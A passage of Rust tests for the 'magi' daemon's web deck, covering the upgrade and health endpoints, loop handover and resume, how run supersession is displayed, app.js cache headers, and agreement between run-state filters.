11032 let repo = TempDir::new().expect("repo dir");
11048 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
11049 .expect("write magi.toml");
11050 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
11051
11052 let res = fx.post("/api/upgrade", None).await;
11058 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
11059 let body = res.json();
11060 assert!(body["to"].is_null(), "there was no release to move to");
11061 assert!(body["parked"].is_null(), "and nothing was parked");
11062 assert!(
11063 body["detail"]
11064 .as_str()
11065 .unwrap()
11066 .contains("nothing restarted"),
11067 "{body:?}"
11068 );
11069 }
11070
11071 #[tokio::test]
11072 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
11073 let repo = TempDir::new().expect("repo dir");
11078 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
11079 .expect("write magi.toml");
11080 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
11081
11082 let health = fx.get("/api/health").await.json();
11083 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
11084 assert_eq!(
11085 health["update"]["available"], false,
11086 "checking is off, which reads as \"unknown\", not \"none\""
11087 );
11088 assert!(health["update"]["to"].is_null());
11089 assert!(
11090 health["upgrade"].is_null(),
11091 "nothing has ever asked this deck to upgrade"
11092 );
11093 }
11094
11095 #[tokio::test]
11096 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
11097 let fx = Fixture::start().await;
11098 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
11099
11100 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
11101 progress.parked_run = Some("20260905-000000-cd51".to_owned());
11102 progress.advance(crate::updater::Stage::Parking);
11103 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
11104
11105 let health = fx.get("/api/health").await.json();
11106 assert_eq!(health["upgrade"]["stage"], "parking");
11107 assert_eq!(health["upgrade"]["from"], "0.5.1");
11108 assert_eq!(health["upgrade"]["to"], "0.5.2");
11109 let waiting_on = health["upgrade"]["waiting_on"]
11110 .as_str()
11111 .expect("waiting_on is set while parking a known run");
11112 assert!(waiting_on.contains("cd51"), "{waiting_on}");
11113 assert!(waiting_on.contains("implementing"), "{waiting_on}");
11114 }
11115
11116 #[tokio::test]
11117 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
11118 let fx = Fixture::start().await;
11119 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
11120 progress.advance(crate::updater::Stage::Done);
11121 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
11122
11123 let health = fx.get("/api/health").await.json();
11124 assert_eq!(health["upgrade"]["stage"], "done");
11125 assert!(
11126 health["upgrade"]["waiting_on"].is_null(),
11127 "nothing to wait on once it is done"
11128 );
11129 }
11130
11131 #[tokio::test]
11132 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
11133 let home = TempDir::new().expect("temp home");
11134 let runs = home.path().join("runs");
11135 std::fs::create_dir_all(&runs).expect("runs dir");
11136 let ui = Ui::new(
11137 Queue::at(home.path().join("queue")),
11138 Questions::at(home.path().join("questions")),
11139 Talks::at(home.path().join("talks")),
11140 runs,
11141 home.path().to_path_buf(),
11142 PathBuf::from("/repo/magi"),
11143 )
11144 .with_launch(launch_idle);
11145 let looping = ui.looping();
11146 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
11147 .await
11148 .expect("bind loopback");
11149 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
11150
11151 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
11152 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
11153
11154 hand_over(home.path(), &looping, served, |_| Ok(()))
11155 .await
11156 .expect("hand over");
11157
11158 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
11159 assert_eq!(
11160 after.stage,
11161 crate::updater::Stage::Restarting,
11162 "hand_over owns the record through parking and up to restarting; \
11163 the successor is what finishes it"
11164 );
11165 }
11166
11167 fn idle_ui(home: &TempDir) -> Ui {
11168 let runs = home.path().join("runs");
11169 std::fs::create_dir_all(&runs).expect("runs dir");
11170 Ui::new(
11171 Queue::at(home.path().join("queue")),
11172 Questions::at(home.path().join("questions")),
11173 Talks::at(home.path().join("talks")),
11174 runs,
11175 home.path().to_path_buf(),
11176 PathBuf::from("/repo/magi"),
11177 )
11178 .with_launch(launch_idle)
11179 }
11180
11181 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
11183 let looping = ui.looping();
11184 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
11185 .await
11186 .expect("bind loopback");
11187 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
11188 let told = std::sync::Mutex::new(None);
11189 hand_over(home.path(), &looping, served, |resume| {
11190 *told.lock().unwrap() = Some(resume);
11191 Ok(())
11192 })
11193 .await
11194 .expect("hand over");
11195 told.into_inner().unwrap().expect("successor was started")
11196 }
11197
11198 #[tokio::test]
11199 async fn a_running_loop_is_resumed_by_the_successor() {
11200 let home = TempDir::new().expect("temp home");
11201 let ui = idle_ui(&home);
11202 ui.start_loop(None).expect("start");
11203 ui.park_for_upgrade().expect("park");
11204 for _ in 0..500 {
11206 if !ui.loop_view(None).running {
11207 break;
11208 }
11209 tokio::time::sleep(Duration::from_millis(2)).await;
11210 }
11211 assert!(handed_over(&home, ui).await, "a running loop must resume");
11212
11213 let successor = idle_ui(&home);
11214 assert!(!successor.loop_view(None).running);
11215 assert!(successor.resume_after_handover(true));
11216 assert!(successor.loop_view(None).running);
11217 successor.stop_loop(None, false).expect("stop");
11218 }
11219
11220 #[tokio::test]
11221 async fn a_second_upgrade_request_keeps_the_resume_intent() {
11222 let home = TempDir::new().expect("temp home");
11223 let ui = idle_ui(&home);
11224 ui.start_loop(None).expect("start");
11225 ui.park_for_upgrade().expect("first park");
11226 ui.park_for_upgrade().expect("second park");
11227 assert!(handed_over(&home, ui).await);
11228 }
11229
11230 #[tokio::test]
11231 async fn a_stop_during_the_handover_wait_is_honoured() {
11232 let home = TempDir::new().expect("temp home");
11233 let ui = idle_ui(&home);
11234 ui.start_loop(None).expect("start");
11235 ui.park_for_upgrade().expect("park");
11236 ui.stop_loop(None, false).expect("stop");
11237 assert!(!handed_over(&home, ui).await);
11238 }
11239
11240 #[tokio::test]
11241 async fn an_idle_loop_stays_stopped_across_the_handover() {
11242 let home = TempDir::new().expect("temp home");
11243 let ui = idle_ui(&home);
11244 ui.park_for_upgrade().expect("park");
11245 assert!(!handed_over(&home, ui).await);
11246
11247 let successor = idle_ui(&home);
11248 assert!(!successor.resume_after_handover(false));
11249 assert!(!successor.loop_view(None).running);
11250 }
11251
11252 #[tokio::test]
11253 async fn a_loop_the_operator_stopped_is_not_resumed() {
11254 let home = TempDir::new().expect("temp home");
11255 let ui = idle_ui(&home);
11256 ui.start_loop(None).expect("start");
11257 ui.stop_loop(None, false).expect("stop");
11258 ui.park_for_upgrade().expect("park");
11259 assert!(!handed_over(&home, ui).await);
11260 }
11261
11262 #[test]
11263 fn only_an_explicit_one_requests_a_resume() {
11264 assert!(!resume_requested(None));
11265 assert!(!resume_requested(Some("0".into())));
11266 assert!(!resume_requested(Some("".into())));
11267 assert!(resume_requested(Some("1".into())));
11268 }
11269
11270 #[test]
11271 fn the_upgrade_button_arms_before_it_restarts_anything() {
11272 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
11275 assert!(APP_JS.contains("Replace the binary and restart?"));
11276 assert!(APP_JS.contains("function confirmed("));
11277 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
11282 assert!(
11286 APP_JS.contains("Parking, then restarting"),
11287 "the button says what it is waiting for"
11288 );
11289 assert!(APP_JS.contains("if (!out.to)"));
11292 }
11293
11294 #[test]
11295 fn stopping_the_loop_arms_but_starting_does_not() {
11296 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
11299 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
11300 assert!(APP_JS.contains("confirmed(button, question)"));
11301 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
11304 assert!(APP_JS.contains("const label = btn.textContent;"));
11305 assert!(!APP_JS.contains("Neither direction is guarded"));
11306 }
11307
11308 #[test]
11309 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
11310 assert!(
11311 APP_JS.contains("state.health.version"),
11312 "the operator wants to know what is running even with nothing newer"
11313 );
11314 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
11315 }
11316
11317 #[test]
11318 fn the_upgrade_button_names_its_destination() {
11319 assert!(
11320 APP_JS.contains("`Update to ${update.to}`"),
11321 "pressing the button should not be a surprise about what it moves to"
11322 );
11323 }
11324
11325 #[test]
11326 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
11327 for stage in ["downloading", "replaced", "parking", "restarting"] {
11328 assert!(
11329 APP_JS.contains(&format!("\"{stage}\"")),
11330 "the phone must be able to tell {stage} apart from the others"
11331 );
11332 }
11333 assert!(APP_JS.contains(".waiting_on"));
11334 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
11339 assert!(APP_JS.contains("reconnects on its own"));
11340 }
11341
11342 #[test]
11343 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
11344 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
11353 ..APP_JS.find("function upgrade(").expect("upgrade")];
11354 assert!(
11355 !body.contains(
11356 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
11357 ),
11358 "a failed upgrade must not take the whole strip over the way it used to"
11359 );
11360 assert!(
11361 body.contains("upgradeFailNote"),
11362 "the failure has to reach the loop's own note instead"
11363 );
11364 assert_eq!(
11368 body.matches("upgradeFailNote].filter(Boolean).join")
11369 .count(),
11370 2,
11371 "both loop-why writers (quiet and control) must fold the note in"
11372 );
11373 }
11374
11375 #[test]
11376 fn an_overdue_upgrade_eventually_asks_for_a_human() {
11377 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
11380 assert!(APP_JS.contains("function upgradeOverdue("));
11381 }
11382
11383 #[test]
11384 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
11385 assert!(
11386 APP_JS.contains("Updated to ${upgradeInfo.to"),
11387 "the operator who asked for the restart wants to know it worked"
11388 );
11389 }
11390
11391 #[test]
11392 fn an_error_is_visible_from_where_the_button_is() {
11393 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
11398 ..APP_CSS.find(".alert-text").expect(".alert-text")];
11399 assert!(
11400 alert.contains("position: fixed"),
11401 "an error about the thing under your thumb has to be visible from \
11402 where your thumb is: {alert}"
11403 );
11404 assert!(
11405 alert.contains("z-index: 25"),
11406 "above the dock (20) and the run-actions FAB (15), so neither \
11407 buries it: {alert}"
11408 );
11409 assert!(
11410 alert.contains("var(--tap)"),
11411 "and clear of the dock and the home indicator: {alert}"
11412 );
11413 assert!(
11416 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
11417 "the FAB's column stays free: {alert}"
11418 );
11419 }
11420
11421 #[tokio::test]
11422 async fn an_older_attempt_says_what_replaced_it() {
11423 let fx = Fixture::start().await;
11424 let q = fx.queue();
11425 let runs = fx.runs();
11426 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
11427 write_run(&runs, first, RunStatus::Stalled);
11428 write_run(&runs, second, RunStatus::Blocked);
11429
11430 let mut t = Task::new(
11431 "one task".to_owned(),
11432 "do it".to_owned(),
11433 PathBuf::from("/repo"),
11434 Source::Human,
11435 );
11436 t.runs = vec![first.to_owned(), second.to_owned()];
11437 q.put(&mut t).expect("put");
11438
11439 let rows = fx.get("/api/runs").await.json();
11443 let by = |short: &str| -> Value {
11444 rows.as_array()
11445 .unwrap()
11446 .iter()
11447 .find(|r| r["short"] == short)
11448 .cloned()
11449 .unwrap_or(Value::Null)
11450 };
11451 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
11452 assert!(
11453 by("bbbb")["superseded_by"].is_null(),
11454 "the latest attempt is not superseded by anything"
11455 );
11456 assert!(APP_JS.contains("run.superseded_by"));
11458 assert!(APP_JS.contains("Superseded by"));
11459 }
11460
11461 #[tokio::test]
11462 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
11463 let fx = Fixture::start().await;
11468 let q = fx.queue();
11469 let runs = fx.runs();
11470 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
11471 write_run(&runs, first, RunStatus::Blocked);
11472 write_run(&runs, second, RunStatus::Merged);
11473
11474 let mut t = Task::new(
11475 "one task".to_owned(),
11476 "do it".to_owned(),
11477 PathBuf::from("/repo"),
11478 Source::Human,
11479 );
11480 t.runs = vec![first.to_owned(), second.to_owned()];
11481 q.put(&mut t).expect("put");
11482
11483 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
11484 assert_eq!(earlier["superseded_by"], "dddd");
11485 assert_eq!(earlier["latest_attempt"]["id"], second);
11486 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
11487 assert_eq!(
11488 earlier["latest_attempt"]["resolved"], true,
11489 "the run that replaced it landed, so this one reads as settled"
11490 );
11491
11492 let later = fx.get(&format!("/api/runs/{second}")).await.json();
11493 assert!(
11494 later["superseded_by"].is_null(),
11495 "the latest attempt is not superseded by anything"
11496 );
11497 assert!(
11498 later["latest_attempt"].is_null(),
11499 "the latest attempt has no later attempt of its own"
11500 );
11501
11502 assert!(APP_JS.contains("run.latest_attempt"));
11509 assert!(APP_JS.contains("data-superseded"));
11510 assert!(APP_JS.contains("#/runs/${latest.id}"));
11511 }
11512
11513 #[tokio::test]
11514 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
11515 let fx = Fixture::start().await;
11521 let q = fx.queue();
11522 let runs = fx.runs();
11523 let (a, b, c) = (
11524 "20260901-000000-aaaa",
11525 "20260901-000000-bbbb",
11526 "20260901-000000-cccc",
11527 );
11528 write_run(&runs, a, RunStatus::Blocked);
11529 write_run(&runs, b, RunStatus::Blocked);
11530 write_run(&runs, c, RunStatus::Merged);
11531
11532 let mut t = Task::new(
11533 "retried twice".to_owned(),
11534 "do it".to_owned(),
11535 PathBuf::from("/repo"),
11536 Source::Human,
11537 );
11538 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
11539 q.put(&mut t).expect("put");
11540
11541 let view = fx.get(&format!("/api/runs/{a}")).await.json();
11542 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
11543 assert_eq!(
11544 view["latest_attempt"]["id"], c,
11545 "the chain's current head, not the intermediate Blocked retry"
11546 );
11547 assert_eq!(view["latest_attempt"]["resolved"], true);
11548
11549 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
11550 assert_eq!(mid["latest_attempt"]["id"], c);
11551 assert_eq!(mid["latest_attempt"]["resolved"], true);
11552 }
11553
11554 #[tokio::test]
11555 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
11556 let fx = Fixture::start().await;
11557 let q = fx.queue();
11558 let runs = fx.runs();
11559
11560 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
11563 write_run(&runs, still_blocked_a, RunStatus::Blocked);
11564 write_run(&runs, still_blocked_b, RunStatus::Blocked);
11565 let mut t1 = Task::new(
11566 "still stuck".to_owned(),
11567 "do it".to_owned(),
11568 PathBuf::from("/repo"),
11569 Source::Human,
11570 );
11571 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
11572 q.put(&mut t1).expect("put");
11573 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
11574 assert_eq!(view1["latest_attempt"]["resolved"], false);
11575
11576 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
11581 write_run(&runs, noop_a, RunStatus::Blocked);
11582 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
11583 let mut t2 = Task::new(
11584 "claims done".to_owned(),
11585 "do it".to_owned(),
11586 PathBuf::from("/repo"),
11587 Source::Human,
11588 );
11589 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
11590 q.put(&mut t2).expect("put");
11591 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
11592 assert_eq!(
11593 view2["latest_attempt"]["resolved"], false,
11594 "an unverified no-op claim must not read as a confirmed finish"
11595 );
11596
11597 assert!(APP_JS.contains("latest.resolved"));
11600 }
11601
11602 #[tokio::test]
11603 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
11604 let fx = Fixture::start().await;
11605 let js = fx.get("/app.js").await;
11611 assert_eq!(js.status, 200);
11612 let tag = js
11613 .header("etag")
11614 .expect("an etag to revalidate against")
11615 .to_owned();
11616 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
11617 assert_eq!(
11618 js.header("cache-control"),
11619 Some("no-cache, must-revalidate"),
11620 "the phone has to ask every time"
11621 );
11622
11623 let again = fx
11626 .get_with("/app.js", &[("if-none-match", tag.as_str())])
11627 .await;
11628 assert_eq!(
11629 again.status, 304,
11630 "a deck it already has costs one round trip"
11631 );
11632 assert!(again.body.is_empty(), "304 carries no body");
11633
11634 let weak = fx
11637 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
11638 .await;
11639 assert_eq!(weak.status, 304);
11640 let stale = fx
11641 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
11642 .await;
11643 assert_eq!(stale.status, 200, "an older build must be replaced");
11644 assert!(stale.body.contains("renderRunActions"));
11645 }
11646
11647 #[test]
11648 fn the_deck_never_sends_the_operator_to_a_terminal() {
11649 assert!(
11652 !APP_JS.contains("Run `magi fold` first"),
11653 "the deck must offer the fold, not prescribe a shell command"
11654 );
11655 assert!(APP_JS.contains("foldRun:"));
11656 assert!(APP_JS.contains("resumeRun:"));
11657 assert!(APP_JS.contains("renderRunActions"));
11658
11659 assert!(APP_JS.contains("armedFold"));
11661 assert!(APP_JS.contains("Yes, fold worktrees"));
11662
11663 assert!(APP_JS.contains("can no longer be resumed"));
11666 }
11667
11668 #[test]
11669 fn a_finished_run_explains_itself_with_its_own_last_line() {
11670 assert!(
11676 !APP_JS.contains("collapsed on agent quota"),
11677 "a stall must not be explained by a cause the deck did not check"
11678 );
11679 assert!(
11680 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
11681 "and a block must not offer a guess with an `or` in it"
11682 );
11683
11684 assert!(
11688 APP_JS.contains("setText(r.event, run.event || \"\")"),
11689 "the run's last line is rendered unconditionally"
11690 );
11691 assert!(
11692 !APP_JS.contains("moving && run.event"),
11693 "and never gated on the run still moving"
11694 );
11695
11696 assert!(APP_JS.contains("lost to quota"));
11698 }
11699
11700 #[test]
11722 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
11723 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
11724 let shapes_body_start =
11725 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
11726 let shapes_close = APP_JS[shapes_body_start..]
11727 .find("].map(")
11728 .expect("the shape list is closed by its done-computing .map(...)")
11729 + shapes_body_start;
11730 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
11731
11732 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
11733 for entry in shapes_src.split('{').skip(1) {
11734 let waiting = entry.contains("waiting: true");
11735 let dead = entry.contains("live: \"dead\"");
11736 let status_at =
11737 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
11738 let status_end = entry[status_at..]
11739 .find('"')
11740 .expect("the status string is closed")
11741 + status_at;
11742 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
11743 }
11744 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
11745
11746 let done_rule_marker = "done: !";
11750 let done_rule_at = APP_JS[shapes_close..]
11751 .find(done_rule_marker)
11752 .expect("the done rule follows the shape list")
11753 + shapes_close
11754 + done_rule_marker.len();
11755 let includes_at = APP_JS[done_rule_at..]
11756 .find(".includes(shape.status)")
11757 .expect("the done rule ends in .includes(shape.status)")
11758 + done_rule_at;
11759 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
11760 .trim()
11761 .trim_start_matches('[')
11762 .trim_end_matches(']')
11763 .split(',')
11764 .map(|s| s.trim().trim_matches('"'))
11765 .filter(|s| !s.is_empty())
11766 .collect();
11767
11768 let shapes: Vec<(bool, String, bool, bool)> = shapes
11769 .into_iter()
11770 .map(|(waiting, status, dead)| {
11771 let done = !not_done.contains(&status.as_str());
11772 (waiting, status, dead, done)
11773 })
11774 .collect();
11775
11776 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
11780 if waiting {
11781 return "waiting";
11782 }
11783 if dead
11784 && !matches!(
11785 status,
11786 "merged"
11787 | "ready"
11788 | "stalled"
11789 | "blocked"
11790 | "failed"
11791 | "verified_noop"
11792 | "superseded"
11793 | "already_in_base"
11794 )
11795 {
11796 return "stale";
11797 }
11798 match status {
11799 "merged" | "ready" => "landed",
11800 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
11801 | "already_in_base" => "ended",
11802 _ => "flight",
11803 }
11804 }
11805
11806 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
11809 match filter_key {
11810 "active" => !done,
11811 "flight" => !done && !waiting && !dead,
11812 "stale" => !done && !waiting && dead,
11813 "waiting" => waiting,
11814 "done" => done,
11815 "all" => true,
11816 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
11817 }
11818 }
11819
11820 let compatible = |section: &str, filter_key: &str| {
11821 shapes.iter().any(|(waiting, status, dead, done)| {
11822 run_section(*waiting, status, *dead) == section
11823 && filter_matches(filter_key, *waiting, *dead, *done)
11824 })
11825 };
11826
11827 let expected = [
11832 ("waiting", [true, false, false, true, true, true]),
11833 ("stale", [true, false, true, false, false, true]),
11834 ("flight", [true, true, false, false, false, true]),
11835 ("landed", [false, false, false, false, true, true]),
11836 ("ended", [false, false, false, false, true, true]),
11837 ];
11838 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
11839
11840 for (section, wants) in expected {
11841 for (filter_key, want) in filter_keys.iter().zip(wants) {
11842 assert_eq!(
11843 compatible(section, filter_key),
11844 want,
11845 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
11846 );
11847 }
11848 }
11849
11850 assert!(
11853 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
11854 );
11855 assert!(APP_JS.contains(
11856 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
11857 ));
11858 assert!(APP_JS.contains(
11859 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
11860 ));
11861 }
11862
11863 #[tokio::test]
11864 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
11865 let dir = tempfile::tempdir().expect("tempdir");
11869 let explicit = dir.path().join("not-a-checkout");
11870 std::fs::create_dir_all(&explicit).expect("create dir");
11871 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
11872
11873 let missing = dir.path().join("does-not-exist-at-all");
11874 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
11875 }
11876}